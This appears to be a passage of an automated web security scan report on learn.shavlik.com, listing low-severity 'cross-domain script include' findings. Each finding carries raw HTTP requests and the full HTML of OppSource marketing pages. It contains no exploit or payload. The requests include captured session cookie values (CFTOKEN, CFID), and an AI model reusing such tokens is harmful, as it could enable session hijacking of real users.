Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>
<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Contact us, Minneapolis, St. Paul, Minnesota</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Contact Us Comments Feed" href="http://www.oppsource.com/contact-us/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='Customers' href='http://www.oppsource.com/customers/' />
<link rel='next' title='Careers' href='http://www.oppsource.com/careers/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="Learn how OppSource can help with all your lead management needs by contacting us today." />
<link rel="canonical" href="http://www.oppsource.com/contact-us/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


           <script type="text/javascript" src="/wp-content/themes/oppsource3/script/contactUs.js"></script>
<p><style type="text/css">
#billboard{ width:892px; margin:50px 0 0 0;}
#billboardInnerLeft{width:393px; text-align:left; float:left; background:url('http://www.oppsource.com/oppsource/offer/leadmanagementwhitepaper/images/headerLine.jpg') no-repeat;}
#billboardOppsource{font-size:14px; color:black; font-weight:bold;}
#billboardTextLeft{color:black; font-size:12px; font-weight:bold;}
#billboardInnerRight{float:left; width:492px; }
body, input, textarea, .page-title span, .pingback a.url {
font-family: Arial,Helvetica,sans-serif;
}
input.inputText{border:1px solid #7AC142;}
.content{margin-top:5px; font-size:16px;}
.content a{font-size:16px;}
</style></p>
<div id="billboard">
<div id="billboardInnerLeft">
<div style="padding: 12px 0pt 0pt 27px;" id="billboardContent">
<p style="font-size: 26px; margin-top: 20px;">Headquarters</p>
<p class="content">1171 Northland Drive<br />
St. Paul, MN 55120</p>
<p style="font-size: 26px; margin-top: 20px;">Maps</p>
<p class="content"><a target="_blank" href="http://maps.google.com/?daddr=1171%20Northland%20Drive%20St.%20Paul,%20MN%2055120">Google maps</a><br />
<a target="_blank" href="http://www.mapquest.com/maps?city=St%20Paul%20&state=MN&address=1171+Northland+Drive&zipcode=55120&country=US">Mapquest</a></p>
<p style="font-size: 26px; margin-top: 20px;">Phone & Email</p>
<p class="content">Office: 1-877-742-8880<br />
Sales: 1-866-354-8362<br />
<a href="emailto:info@oppsource.com">info@oppsource.com</a></p>
</div>
</div>
<div id="billboardInnerRight">
<div id="sidebar" style="width: 434px; margin-left: 29px; float: left;">
<form name="optIn" onsubmit="return formSubmit()" action="/oppsource/offer/signup.cfm?m=768" method="post">
<div id="sidebarTop" style="background: url("/wp-content/uploads/2010/12/sidebarTop.jpg") no-repeat scroll 0% 0% transparent; height: 101px; width: 434px; float: left; margin-top: 0px;">
<div id="sidebarTopInner" style="padding: 14px 36px 0pt;">
<div style="float: left;">
<h2 style="color: white; margin: 0pt; padding: 0pt; border: 0pt none; font-size: 26px;"><span style="font-size: 18px;">CONTACT US:</span></h2>
</div>
</div>
</div>
<div id="sidebarMiddle" style="background: url("/wp-content/uploads/2010/12/sidebarMiddle.jpg") repeat-y scroll 0% 0% transparent; width: 434px; float: left;">
<div id="sidebarMiddleInner" style="padding: 0pt 0pt 0pt 45px;">
<div id="inputElement" style="width: 344px; float: left;">
<div style="width: 170px; float: left;">First Name</div>
<div style="width: 174px; float: left;"><input type="text" id="firstName" class="inputText" name="cFN" /></div>
</div>
<div class="error" style="height: 20px; text-align: right; color: red; width: 344px; float: left; font-size: 10px;">
<div id="firstNameError" style="padding-right: 30px;">You must enter a first name</div>
</div>
<div id="inputElement" style="width: 344px; float: left;">
<div style="width: 170px; float: left;">Last Name</div>
<div style="width: 174px; float: left;"><input type="text" id="lastName" class="inputText" name="cLN" /></div>
</div>
<div class="error" style="height: 20px; text-align: right; color: red; width: 344px; float: left; font-size: 10px;">
<div id="lastNameError" style="padding-right: 30px;">You must enter a last name</div>
</div>
<div id="inputElement" style="width: 344px; float: left;">
<div style="width: 170px; float: left;">*Email</div>
<div style="width: 174px; float: left;"><input type="text" id="email" class="inputText" name="cEmail" /></div>
</div>
<div class="error" style="height: 20px; text-align: right; color: red; width: 344px; float: left; font-size: 10px;">
<div id="emailError" style="padding-right: 30px;">You must enter an email address</div>
</div>
<div id="inputElement" style="width: 344px; float: left;">
<div style="width: 170px; float: left;">*Company</div>
<div style="width: 174px; float: left;"><input type="text" id="company" class="inputText" name="cComp" /></div>
</div>
<div class="error" style="height: 20px; text-align: right; color: red; width: 344px; float: left; font-size: 10px;">
<div id="companyError" style="padding-right: 30px;">You must enter a company name</div>
</div>
<div id="inputElement" style="width: 344px; float: left;">
<div style="width: 170px; float: left;">Business Phone</div>
<div style="width: 174px; float: left;"><input type="text" id="businessPhone" class="inputText" name="cPhone" /></div>
</div>
<div class="error" style="height: 20px; text-align: right; color: red; width: 344px; float: left; font-size: 10px;">
<div id="businessPhoneError" style="padding-right: 30px;">You must enter a business phone number</div>
</div>
<div id="inputElement" style="width: 344px; margin: 0pt; float: left;">
<div style="width: 170px; float: left;">Job Title</div>
<div style="width: 174px; float: left;"><input type="text" id="title" class="inputText" name="cTitle" /></div>
</div>
<div id="inputElement" style="width: 344px; margin: 20px 0pt 0pt; float: left;"><input type="checkbox" name="cContactImmediately" value="1" /> I would like to be contacted immediately</div>
<div id="inputElement" style="width: 344px; margin: 20px 0pt 0pt; float: left;">
<div style="width: 100px; float: left;">Comments</div>
<br style="clear: both;" />
<div style="float: left;"><textarea name="cMessage" style="border: 1px solid #7ac142; width: 315px; height: 150px;"></textarea></div>
</div>
<div style="float: left; margin: 25px 50px 0pt 0pt;">* = required field</div>
<input type="submit" id="cSubmit" name="cSubmit" value="Submit" style="float: right; margin: 20px 40px 0pt 0pt;" /></div>
</div>
<div id="sidebarBottom" style="background: url("/wp-content/uploads/2010/12/sidebarBottom.jpg") no-repeat scroll 0% 0% transparent; height: 107px; width: 434px; float: left; text-align: center;"> </div>
</form>
</div>
</div>
</div>
<p> </p>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.6. http://learn.shavlik.com/content-marketing previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/content-marketing

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /content-marketing HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Content Marketing, Minneapolis, St. Paul, Minnesota</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Content Marketing Comments Feed" href="http://www.oppsource.com/content-marketing/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='Opportunity Handoff' href='http://www.oppsource.com/opportunity-handoff/' />
<link rel='next' title='Lead Funnel Measurement' href='http://www.oppsource.com/lead-funnel-measurement/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="Content marketing is an essential part of the lead management process. Discover how OppSource can help use content marketing to generate and nurture leads." />
<meta name="keywords" content="content marketing, lead management, leads, oppsource" />
<link rel="canonical" href="http://www.oppsource.com/content-marketing/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/secondary.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


       <div id="content" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBg.gif') repeat-y;">
                           <div id="leftCol"><img width="196" height="478" alt="Leads need to be led" src="/wp-content/themes/oppsource3/images/leftCol/contentMarketing.jpg" /></div>
<div id="mainCol">
<div id="mainColInner">
<h1><span class="blueBigText">Leads</span> need to be <span class="blueBigText">led</span>.</h1>
<p>The OppSource approach starts by capturing leads from all your marketing activities, while generating additional contacts. Then we engage all prospects with valuable information and offers that position you as a trusted resource.</p>
<h1 style="font-size: 20px;">Content Marketing</h1>
<p>By delivering content that is interesting and relevant to your target audience, you attract interest from new customers as well as solidifying ongoing buyer relationships. A good content marketing strategy is one that can help with both your outbound-marketing and inbound-marketing efforts.</p>
<p>We have discovered that the same tools and content development skills that help nurture leads can also be applied to lead generation. For lead nurturing, a key to success is delivering relevant communications by mapping content to the buying cycle. For lead generation, our content delivers timely and interesting information that invites customers to opt in.</p>
<p>OppSource creates content, or adapts yours, to provide your marketing programs with engaging messages that will help you generate new leads. We develop valuable content, accessed via blogs, social media, website links, searches or other media, that will increase customer engagement and lead development. We also have back end skills at adapting content to a variety of effective delivery forms. Incorporating our content creation skills into your larger marketing program can dramatically improve lead generation.</p>
<div class="bottomNav">
<p class="bottomNavLink"><a href="http://www.oppsource.com/lead-management/">Lead Management</a></p>
<p class="bottomNavLink"><a href="/lead-capture">Lead Capture</a></p>
<p class="bottomNavLink"><a href="/lead-nurturing">Lead Nurturing</a></p>
<p class="bottomNavLink"><a href="/lead-scoring">Lead Scoring</a></p>
<p class="bottomNavLink"><a href="/opportunity-handoff">Opportunity Handoff</a></p>
<p class="bottomNavLink"><a href="/lead-funnel-measurement">Lead Funnel Measurement</a></p>
</div>
</div>
</div>
<div id="rightCol">
<div style="margin: 15px 0pt 0pt 10px; width: 175px; border-bottom: 3px solid #f36f3e; padding-bottom: 20px;" class="singleLeftNavLinkContainer">
<div style="text-align: center;"><img width="70" height="72" class="alignnone size-full wp-image-258" title="Content Marketing" src="/wp-content/themes/oppsource3/images/icons/contentMarketing.jpg" alt="Content Marketing" /> <br style="clear: both;" />
<div style="color: #333333; font-size: 18px; text-align: center; margin-top: 15px;">Content Marketing</div>
</div>
</div>
<div style="padding: 20px; line-height: 16px;">
<p style="margin-bottom: 10px; font-size: 16px; line-height: 22px;" class="quote"><span style="font-size: 16px;">"</span>Being in front of your customers with relevant and timely information is always a competitive advantage, by using OppSource, we have a number of touch points that keep XATA top-of-mind in the marketplace.<span style="font-size: 16px;">"</span></p>
<br style="clear: both;" />
<p>LeAnn Castillo<br />
Marketing Director<br />
Xata Corporation</p>
</div>
</div>
<p> </p>
       </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.7. http://learn.shavlik.com/customer-login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/customer-login

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

Response

7.8. http://learn.shavlik.com/customers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/customers

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /customers HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

7.9. http://learn.shavlik.com/lead-capture previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/lead-capture

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /lead-capture HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Lead Capture, Minneapolis, St. Paul, Minnesota</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Lead Capture Comments Feed" href="http://www.oppsource.com/lead-capture/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='next' title='About' href='http://www.oppsource.com/about-oppsource/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="The capturing process begins with a single centralized database of potential sales opportunities. Let OppSource help with your capturing process." />
<meta name="keywords" content="lead management, lead capture, qualified sales opportunity, oppsource" />
<link rel="canonical" href="http://www.oppsource.com/lead-capture/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/secondary.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
